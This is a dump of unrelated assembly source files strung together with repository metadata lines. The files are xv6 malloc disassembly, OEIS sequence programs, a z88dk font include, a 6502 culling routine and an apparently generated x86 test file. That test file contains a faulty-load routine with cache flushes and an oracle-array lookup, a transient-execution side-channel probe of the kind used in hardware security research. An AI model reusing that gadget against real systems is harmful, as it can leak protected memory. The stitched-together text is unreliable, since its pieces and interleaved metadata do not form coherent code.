1648: 85 db test %ebx,%ebx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 164a: 8d 71 01 lea 0x1(%ecx),%esi if((prevp = freep) == 0){ 164d: 0f 84 9b 00 00 00 je 16ee <malloc+0xbe> 1653: 8b 13 mov (%ebx),%edx 1655: 8b 7a 04 mov 0x4(%edx),%edi base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 1658: 39 fe cmp %edi,%esi 165a: 76 64 jbe 16c0 <malloc+0x90> 165c: 8d 04 f5 00 00 00 00 lea 0x0(,%esi,8),%eax morecore(uint nu) { char *p; Header *hp; if(nu < 4096) 1663: bb 00 80 00 00 mov $0x8000,%ebx 1668: 89 45 e4 mov %eax,-0x1c(%ebp) 166b: eb 0e jmp 167b <malloc+0x4b> 166d: 8d 76 00 lea 0x0(%esi),%esi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 1670: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 1672: 8b 78 04 mov 0x4(%eax),%edi 1675: 39 fe cmp %edi,%esi 1677: 76 4f jbe 16c8 <malloc+0x98> 1679: 89 c2 mov %eax,%edx p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 167b: 3b 15 10 1a 00 00 cmp 0x1a10,%edx 1681: 75 ed jne 1670 <malloc+0x40> morecore(uint nu) { char *p; Header *hp; if(nu < 4096) 1683: 8b 45 e4 mov -0x1c(%ebp),%eax 1686: 81 fe 00 10 00 00 cmp $0x1000,%esi 168c: bf 00 10 00 00 mov $0x1000,%edi 1691: 0f 43 fe cmovae %esi,%edi 1694: 0f 42 c3 cmovb %ebx,%eax nu = 4096; p = sbrk(nu * sizeof(Header)); 1697: 89 04 24 mov %eax,(%esp) 169a: e8 3b fc ff ff call 12da <sbrk> if(p == (char*)-1) 169f: 83 f8 ff cmp $0xffffffff,%eax 16a2: 74 18 je 16bc <malloc+0x8c> return 0; hp = (Header*)p; hp->s.size = nu; 16a4: 89 78 04 mov %edi,0x4(%eax) free((void*)(hp + 1)); 16a7: 83 c0 08 add $0x8,%eax 16aa: 89 04 24 mov %eax,(%esp) 16ad: e8 ee fe ff ff call 15a0 <free> return freep; 16b2: 8b 15 10 1a 00 00 mov 0x1a10,%edx } freep = prevp; return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) 16b8: 85 d2 test %edx,%edx 16ba: 75 b4 jne 1670 <malloc+0x40> return 0; 16bc: 31 c0 xor %eax,%eax 16be: eb 20 jmp 16e0 <malloc+0xb0> if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 16c0: 89 d0 mov %edx,%eax 16c2: 89 da mov %ebx,%edx 16c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(p->s.size == nunits) 16c8: 39 fe cmp %edi,%esi 16ca: 74 1c je 16e8 <malloc+0xb8> prevp->s.ptr = p->s.ptr; else { p->s.size -= nunits; 16cc: 29 f7 sub %esi,%edi 16ce: 89 78 04 mov %edi,0x4(%eax) p += p->s.size; 16d1: 8d 04 f8 lea (%eax,%edi,8),%eax p->s.size = nunits; 16d4: 89 70 04 mov %esi,0x4(%eax) } freep = prevp; 16d7: 89 15 10 1a 00 00 mov %edx,0x1a10 return (void*)(p + 1); 16dd: 83 c0 08 add $0x8,%eax } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } } 16e0: 83 c4 1c add $0x1c,%esp 16e3: 5b pop %ebx 16e4: 5e pop %esi 16e5: 5f pop %edi 16e6: 5d pop %ebp 16e7: c3 ret base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) prevp->s.ptr = p->s.ptr; 16e8: 8b 08 mov (%eax),%ecx 16ea: 89 0a mov %ecx,(%edx) 16ec: eb e9 jmp 16d7 <malloc+0xa7> Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 16ee: c7 05 10 1a 00 00 14 movl $0x1a14,0x1a10 16f5: 1a 00 00 base.s.size = 0; 16f8: ba 14 1a 00 00 mov $0x1a14,%edx Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 16fd: c7 05 14 1a 00 00 14 movl $0x1a14,0x1a14 1704: 1a 00 00 base.s.size = 0; 1707: c7 05 18 1a 00 00 00 movl $0x0,0x1a18 170e: 00 00 00 1711: e9 46 ff ff ff jmp 165c <malloc+0x2c> 1716: 66 90 xchg %ax,%ax 1718: 66 90 xchg %ax,%ax 171a: 66 90 xchg %ax,%ax 171c: 66 90 xchg %ax,%ax 171e: 66 90 xchg %ax,%ax 00001720 <uacquire>: #include "uspinlock.h" #include "x86.h" void uacquire(struct uspinlock *lk) { 1720: 55 push %ebp xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 1721: b9 01 00 00 00 mov $0x1,%ecx 1726: 89 e5 mov %esp,%ebp 1728: 8b 55 08 mov 0x8(%ebp),%edx 172b: 90 nop 172c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 1730: 89 c8 mov %ecx,%eax 1732: f0 87 02 lock xchg %eax,(%edx) // The xchg is atomic. while(xchg(&lk->locked, 1) != 0) 1735: 85 c0 test %eax,%eax 1737: 75 f7 jne 1730 <uacquire+0x10> ; // Tell the C compiler and the processor to not move loads or stores // past this point, to ensure that the critical section's memory // references happen after the lock is acquired. __sync_synchronize(); 1739: 0f ae f0 mfence } 173c: 5d pop %ebp 173d: c3 ret 173e: 66 90 xchg %ax,%ax 00001740 <urelease>: void urelease (struct uspinlock *lk) { 1740: 55 push %ebp 1741: 89 e5 mov %esp,%ebp 1743: 8b 45 08 mov 0x8(%ebp),%eax __sync_synchronize(); 1746: 0f ae f0 mfence // Release the lock, equivalent to lk->locked = 0. // This code can't use a C assignment, since it might // not be atomic. A real OS would use C atomics here. asm volatile("movl $0, %0" : "+m" (lk->locked) : ); 1749: c7 00 00 00 00 00 movl $0x0,(%eax) } 174f: 5d pop %ebp 1750: c3 ret
30.294864
70
0.417548
06fa56fcd8375aafd0e3741eecb33edf5a57af21
307
asm
Assembly
programs/oeis/021/A021409.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/021/A021409.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/021/A021409.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A021409: Decimal expansion of 1/405. ; 0,0,2,4,6,9,1,3,5,8,0,2,4,6,9,1,3,5,8,0,2,4,6,9,1,3,5,8,0,2,4,6,9,1,3,5,8,0,2,4,6,9,1,3,5,8,0,2,4,6,9,1,3,5,8,0,2,4,6,9,1,3,5,8,0,2,4,6,9,1,3,5,8,0,2,4,6,9,1,3,5,8,0,2,4,6,9,1,3,5,8,0,2,4,6,9,1,3,5 mov $2,$0 cmp $2,0 add $0,$2 mul $0,20 div $0,9 sub $0,2 mod $0,10
27.909091
199
0.537459
8b34639665d7a8692d16dea8f1d485943a0bce65
717
asm
Assembly
oeis/107/A107007.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/107/A107007.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/107/A107007.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A107007: Primes of the form 3*x^2+8*y^2. ; Submitted by Jamie Morken(s3) ; 3,11,59,83,107,131,179,227,251,347,419,443,467,491,563,587,659,683,827,947,971,1019,1091,1163,1187,1259,1283,1307,1427,1451,1499,1523,1571,1619,1667,1787,1811,1907,1931,1979,2003,2027,2099,2243,2267,2339,2411,2459,2531,2579,2699,2819,2843,2939,2963,3011,3083,3203,3251,3299,3323,3347,3371,3467,3491,3539,3659,3779,3803,3851,3923,3947,4019,4091,4139,4211,4259,4283,4451,4523,4547,4643,4691,4787,4931,5003,5051,5099,5147,5171,5387,5483,5507,5531,5651,5843,5867,5939,5987,6011 lpb $0 trn $0,1 mov $1,$0 mov $0,0 seq $1,168539 ; Terms of A123239 which are prime in Z(i), Z(rho) and Z(sqrt(2)). lpe div $1,4 mov $0,$1 mul $0,4 add $0,3
47.8
475
0.728033
d237a5e2f724ef81371620cd0242d651d0fd4881
182
asm
Assembly
libsrc/_DEVELOPMENT/font/font_8x8/_font_8x8_clairsys.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
8
2017-01-18T12:02:17.000Z
2021-06-12T09:40:28.000Z
libsrc/_DEVELOPMENT/font/font_8x8/_font_8x8_clairsys.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1
2017-03-06T07:41:56.000Z
2017-03-06T07:41:56.000Z
libsrc/_DEVELOPMENT/font/font_8x8/_font_8x8_clairsys.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
3
2017-03-07T03:19:40.000Z
2021-09-15T17:59:19.000Z
SECTION rodata_font SECTION rodata_font_8x8 PUBLIC _font_8x8_clairsys PUBLIC _font_8x8_clairsys_end _font_8x8_clairsys: BINARY "font_8x8_clairsys.bin" _font_8x8_clairsys_end:
15.166667
33
0.868132
d407a50e1a20b467f245ee2c5294a3f13311fefa
5,566
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_38_2977.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_38_2977.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_38_2977.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r15 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0xadd7, %rsi lea addresses_UC_ht+0x107af, %rdi clflush (%rdi) nop nop nop add $33084, %rdx mov $58, %rcx rep movsw nop nop nop nop xor $49816, %r15 lea addresses_UC_ht+0x16137, %rdx nop nop nop nop xor %rbp, %rbp mov (%rdx), %r15d nop nop nop dec %rcx lea addresses_WC_ht+0x14ed7, %rsi nop nop add $9850, %rdi vmovups (%rsi), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $1, %xmm7, %rcx nop nop xor $8318, %rdx lea addresses_UC_ht+0x19d37, %rsi lea addresses_WT_ht+0x1ad37, %rdi nop dec %r15 mov $122, %rcx rep movsl nop nop nop sub $17675, %rdi lea addresses_WC_ht+0x4e37, %rcx nop nop nop nop nop and $15627, %rbp mov (%rcx), %r15w nop nop nop nop and $62947, %rdx lea addresses_A_ht+0xfd37, %r15 cmp %rbp, %rbp movw $0x6162, (%r15) nop mfence lea addresses_UC_ht+0x9337, %rsi lea addresses_UC_ht+0xcd7, %rdi nop sub $54285, %r15 mov $119, %rcx rep movsq nop nop dec %r15 lea addresses_WC_ht+0x19e87, %rdi nop sub %r11, %r11 mov (%rdi), %rcx nop sub $46784, %rdi lea addresses_D_ht+0x1b847, %rdx nop nop add %rsi, %rsi movb (%rdx), %cl nop nop add %rdi, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r15 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r15 push %r8 push %r9 push %rdi push %rsi // Store lea addresses_normal+0xc497, %r8 nop nop xor %r15, %r15 movw $0x5152, (%r8) nop add $33255, %r9 // Load lea addresses_WT+0x1eb37, %r13 nop nop nop nop nop sub %r9, %r9 mov (%r13), %r11w nop add $54777, %r8 // Store lea addresses_normal+0x2937, %r8 clflush (%r8) nop nop add %rsi, %rsi mov $0x5152535455565758, %r15 movq %r15, (%r8) and $3006, %r9 // Store lea addresses_PSE+0x3137, %rsi nop cmp %rdi, %rdi mov $0x5152535455565758, %r8 movq %r8, %xmm3 movups %xmm3, (%rsi) nop nop nop nop nop sub $64068, %r13 // Store lea addresses_WT+0x1f4b7, %rdi clflush (%rdi) nop nop nop nop nop cmp $24422, %r11 mov $0x5152535455565758, %rsi movq %rsi, %xmm6 movaps %xmm6, (%rdi) nop nop sub %r13, %r13 // Store lea addresses_UC+0x10d37, %r13 nop nop xor %r8, %r8 mov $0x5152535455565758, %r11 movq %r11, %xmm0 movups %xmm0, (%r13) nop nop nop xor $61183, %r11 // Store lea addresses_D+0xc99f, %r8 nop sub $62730, %r9 movw $0x5152, (%r8) nop nop add %r9, %r9 // Load mov $0x1606c60000000ca1, %r8 nop nop nop nop nop xor $35655, %r11 mov (%r8), %r15 nop nop nop nop cmp $58202, %r13 // Store lea addresses_D+0xeb7, %r11 nop nop and $54472, %r9 movl $0x51525354, (%r11) nop nop nop nop sub %r9, %r9 // Faulty Load lea addresses_D+0x18d37, %r9 nop nop nop xor %rdi, %rdi movups (%r9), %xmm1 vpextrq $0, %xmm1, %r15 lea oracles, %rsi and $0xff, %r15 shlq $12, %r15 mov (%rsi,%r15,1), %r15 pop %rsi pop %rdi pop %r9 pop %r8 pop %r15 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_D', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_normal', 'same': False, 'size': 2, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT', 'same': False, 'size': 2, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_normal', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_PSE', 'same': False, 'size': 16, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 16, 'congruent': 6, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'dst': {'type': 'addresses_UC', 'same': False, 'size': 16, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D', 'same': False, 'size': 2, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_NC', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_D', 'same': False, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_D', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': True}, 'OP': 'REPM'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'same': True, 'size': 2, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'36': 38} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
20.313869
149
0.641394
fd45eaf12ac7407f7a285b29ab0dbe56c44fdf12
351
asm
Assembly
oeis/077/A077193.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/077/A077193.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/077/A077193.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A077193: Number of multiples of n that can be obtained by permuting the digits of number formed by the concatenation of first n numbers. ; Submitted by Christian Krause ; 1,1,6,6,24,360,720,5040,362880,1814400 add $0,1 mov $1,1 lpb $0 sub $0,1 mul $1,2 mul $3,$2 add $2,1 add $3,$1 mul $1,$2 mul $1,2 lpe gcd $3,$1 mov $0,$3 div $0,2
18.473684
138
0.663818
df8a3671af8222d0f38a268c221c84c5d64ca157
1,074
asm
Assembly
Array/array1_float.asm
berkcetinsaya/MIPSLanguageExamples
e1ec7ae15a38621e09fcf211f033497c495ee06b
[ "Apache-2.0" ]
null
null
null
Array/array1_float.asm
berkcetinsaya/MIPSLanguageExamples
e1ec7ae15a38621e09fcf211f033497c495ee06b
[ "Apache-2.0" ]
null
null
null
Array/array1_float.asm
berkcetinsaya/MIPSLanguageExamples
e1ec7ae15a38621e09fcf211f033497c495ee06b
[ "Apache-2.0" ]
null
null
null
.data myArray: .float 1.258, 2.365, 3.428 #define myArray in the memory float1: .float 10.31 float2: .float 11.987 float3: .float 12.452 .text la $s0, myArray # Load array's address to register $s0. # Offset calculation: The 3rd element of myArray is myArray[2] = 3.428. Index value is 2. Float allocates 4 bytes in the memory. # bytes * index = 4 * 2 = 8. It is the offset value for the 3rd element of the array. ### Load array's elements to registers $f0-$f4. lwc1 $f0, ($s0) lwc1 $f2, 4($s0) lwc1 $f4, 8($s0) ### Load array's elements to registers $f0-$f4. ### Load new values to registers $f10-$f14. lwc1 $f10, float1 lwc1 $f12, float2 lwc1 $f14, float3 ### Load new values to registers $f10-$f14. ### Store new values in array's address by using offset values. swc1 $f10, ($s0) swc1 $f12, 4($s0) swc1 $f14, 8($s0) ### Store new values in array's address by using offset values. ### Load array's elements to registers $f18-$f22. lwc1 $f18, ($s0) lwc1 $f20, 4($s0) lwc1 $f22, 8($s0) ### Load array's elements to registers $f18-$f22.
31.588235
130
0.662942
7796cccdacd0b53afd2cfff3881e04ff10e19534
701
asm
Assembly
oeis/206/A206811.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/206/A206811.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/206/A206811.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A206811: Sum_{0<j<k<=n} (k^4-j^4). ; Submitted by Christian Krause ; 15,160,830,2976,8477,20608,44604,88320,162987,284064,472186,754208,1164345,1745408,2550136,3642624,5099847,7013280,9490614,12657568,16659797,21664896,27864500,35476480,44747235,55954080,69407730,85454880,104480881,126912512,153220848,183924224,219591295,260844192,308361774,362882976,425210253,496213120,576831788,668080896,771053339,886924192,1016954730,1162496544,1324995753,1505997312,1707149416,1930208000,2177041335,2449634720,2750095270,3080656800,3443684805,3841681536,4277291172,4753305088 mul $0,2 add $0,1 mov $1,1 mov $2,$0 seq $0,1753 ; Expansion of 1/((1+x)*(1-x)^6). add $1,$2 add $1,4 mul $1,$0 mov $0,$1 div $0,2
46.733333
499
0.794579
cf7af18bec0677a0ee0452999e8630a42aea2591
943
asm
Assembly
libsrc/target/msx/time/target_read_structtm.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/target/msx/time/target_read_structtm.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/target/msx/time/target_read_structtm.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_clib INCLUDE "target/msx/def/msxdos.def" PUBLIC target_read_structtm EXTERN MSXDOS ; struct tm { ; int tm_sec; ; int tm_min; ; int tm_hour; ; int tm_mday; ; int tm_mon; ; int tm_year; ; int tm_wday; ; int tm_yday; ; int tm_isdst; ;}; ; Entry: hl = struct tm to fill out ; Return hl = 1 = success ; int target_read_structtm(struct tm *) __z88dk_fastcall target_read_structtm: push hl ld c,_GTIME call MSXDOS pop ix ld (ix+0),d ld (ix+1),0 ld (ix+2),l ld (ix+3),0 ld (ix+4),h ld (ix+5),0 push ix ld c,_GDATE call MSXDOS pop ix ld (ix+6),e ld (ix+7),0 dec d ld (ix+8),d ld (ix+9),0 ld de,1900 and a sbc hl,de ld (ix+10),l ld (ix+11),h ld hl,1 ret
17.792453
56
0.4772
80b37ee817a2ed2a75eb3800af336bf3b1217282
16,281
asm
Assembly
lib/3d/culling.asm
bitshifters/teletextr
1bbf9ae4ca8a9c9601be3fe3fff2ed151814e615
[ "MIT" ]
8
2016-12-26T19:33:13.000Z
2021-02-19T21:01:07.000Z
lib/3d/culling.asm
bitshifters/teletextr
1bbf9ae4ca8a9c9601be3fe3fff2ed151814e615
[ "MIT" ]
9
2016-11-25T00:58:44.000Z
2017-06-26T15:22:10.000Z
lib/3d/culling.asm
bitshifters/teletextr
1bbf9ae4ca8a9c9601be3fe3fff2ed151814e615
[ "MIT" ]
null
null
null
;---------------------------------------------------------------------------------------------------------- ; perform hidden surface removal for the current model ;---------------------------------------------------------------------------------------------------------- ; inputs - ; prior to calling this routine, load_next_model has set the opposites lookups to point to the current model's ; opposites array ; oldsurfs, contains copy of previous visible surfs bit array (or &ffff on first render of this model) ; ; outputs - ; surfs contains 16 bit array of visible surfaces [where (bit == 1) ? hidden : visible] ; oldsurfs = surfs ; ;---------------------------------------------------------------------------------------------------------- ; Back face culling can be CPU expensive, due to the need for cross product multiplications for visibility determination ; This routine uses four clever optimization techniques, that take advantage of the following observations: ; 1 - 3D models that are backface culled have a finite number of surfaces (maxvis) that can ever be visible at once ; 2 - visible surfaces tend to be consistently visible over multiple render frames ; 3 - 3D models tend to contain surfaces that are in direct opposition ; 4 - cross product implemented using a factored equation and table lookup based multiplication ; ; For 1, the routine has an early out once the maxvis surface visibility counter is reached, eliminating redundant visibility checks ; For 2, the routine first rechecks only surfaces that were previously visible on the last render frame ; which increases probability of early-out with the minimum number (maxvis) of visibility calcs ; For 3, when calculating a surfaces visibility, the routine eliminates any opposite surfaces from ; further visibility calcs, which further reduces the number of overall visibility calculations that are required. ;---------------------------------------------------------------------------------------------------------- .hiddensurfaceremoval ; set number of visible surfaces to zero LDA#0:STA visible ; oldsurfs = 16 bit array, where set bits mean surface is hidden, clear bits mean surface is visible ; surfs = 16 bit array, where set bits mean surface is hidden, clear bits mean surface is visible ; surfsdone = 16 bit array, where set bits mean surface has been processed this frame ; store inverted version of oldsurfs in surfsdone ; surfsdone = oldsurfs EOR &ffff ; this effectively means any previously visible surfaces are pre-marked as done ; as far as the second phase of surface visibility testing goes. ; we can then deal with these specific cases in just the first phase. LDA oldsurfs:EOR #&FF:STA surfsdone LDA oldsurfs+1:EOR #&FF:STA surfsdone+1 ; setup loop - bring the relevant bits of oldsurfs to the top of oldsurfs ; a=15-nsurfs ; if nsurfs == 15, skip the unused bits shift LDA#&F:SEC:SBC nsurfs:BEQ nloop ; discard unused bits in the oldsurfs bit array by shifting them out ; n = 15-nsurfs ; for y=n; y>0; y--) ; oldsurfs <<= 1 TAY LDA oldsurfs .loop8 ASL A:ROL oldsurfs+1:DEY:BNE loop8 STA oldsurfs ; now, the topmost bits in oldsurfs contains only the relevant bits we want to look at .nloop ; first phase - re-check visibility of previously visible surfaces ; ; 1. loop through all surfaces, and check visibility only of those that were previously visible. ; 2. any that still remain visible have their opposite surface (if any) marked as hidden/done ; 3. maintain a counter of surfaces we know are visible in this render frame ; ; for Y=nsurfs, y>=0, --y LDY nsurfs .loop9 ; grab the next visibility bit from the top of oldsurfs ; oldsurfs << 1, top bit into carry ASL oldsurfs:ROL oldsurfs+1 ; check if this surface was previously hidden ; if C is set, this surface was previously hidden so, ; skip first phase visibility test, as we're only interested in visible surfaces for this phase BCS hidesurface ; else ; test visibility of surface Y, to see if it is still visible JSR clockwisetest:BCS hidesurface ; yep, surface Y is still visible, so mark it's opposite as 'done' (ie. deduced to be not visible) ; fetch the 16-bit opposite data array for this surface ; and mark the opposite surface id as processed ; x=y*2 (word indexing for opposites array) TYA:ASL A:TAX ; surfsdone |= opposites[y] .opposite0 LDA &8000,X:INX ORA surfsdone:STA surfsdone .opposite1 LDA &8000,X ORA surfsdone+1:STA surfsdone+1 ; ++visible INC visible ; carry bit is clear (visible surface) .hidesurface ; if we reached here because a previously visible surface is now hidden, the carry bit will be set ; update surfs bit array ; surfs = (surfs << 1) | (carryset ? 1 : 0) ROL surfs:ROL surfs+1 DEY:BPL loop9 ; now we have the bottom nsurf bits of surfs representing correct visibility status for any previously visible surfaces ; however any previously hidden surfaces may not have correct representation in the surfs bit array at this stage. ; if visible == maxvis however, that wont matter because we've already determined all possible visible surfaces ; and we'll early out of the routine, however if visible != maxvis, we'll correct these bits in the next phase. ; SM: Possible bug here? - since we're not marking the phase 1 visible surfaces as done, ; if visible != maxvis, wont we end up potentially re-calculating the same visible surfaces? ; ------------------------------------------------- ; second phase, loop again through each surface in the model ; if not 'done', check visibility, update surfs bit array and mark it (and it's opposite) as done ; importantly, we early exit once we've counted 'maxvis' visible surfaces ; - thanks to the first phase loop, there's much higher probability of this early exit happening quickly ; for y=nsurfs; y>=0; --y LDY nsurfs ; currentsurfacebit = bits[y] ; (oldsurfs gets reused as a temp var in this section) LDA bits,Y:STA oldsurfs LDA bits+16,Y:STA oldsurfs+1 .loopA ; early out optimization ; if (visible == maxvis) for this model ; - early exit as there's no need to process any more surfaces since we've hit maxvis limit LDX visible:CPX maxvis:BEQ doneit ; check if current surface has already been 'done', and skip the clockwise test if so ; if (surfsdone & currentsurfacebit) ; continue; LDA surfsdone:AND oldsurfs:BNE surfdone LDA surfsdone+1:AND oldsurfs+1:BNE surfdone ; otherwise check if surface is visible JSR clockwisetest:BCS surfdone ; surface is indeed visible, ; so clear the bit for this surface in surfs bit array by masking surfs with inverse currentsurfacebit ; ; surfs = (currentsurfacebit EOR &FFFF) & surfs LDA oldsurfs:EOR #&FF:AND surfs:STA surfs LDA oldsurfs+1:EOR #&FF:AND surfs+1:STA surfs+1 ; X=y*2 for word addressing ; mark the surface opposite this one as done ; surfsdone |= opposite[y] TYA:ASL A:TAX .opposite2 LDA &8000,X:INX ORA surfsdone:STA surfsdone .opposite3 LDA &8000,X ORA surfsdone+1:STA surfsdone+1 ; visible++ INC visible .surfdone ; currentsurfacebit >>= 1 LSR oldsurfs+1:ROR oldsurfs ; continue DEY:BPL loopA ; .doneit ; surfs now contains 16-bit array, where bit clear for visible surface, bit set for hidden surface ; oldsurfs = surfs ; return surfs[] - 16 bit array, where any bit set indicates a hidden surface LDA surfs:STA oldsurfs LDA surfs+1:STA oldsurfs+1 RTS ;---------------------------------------------------------------------------------------------------------- ; 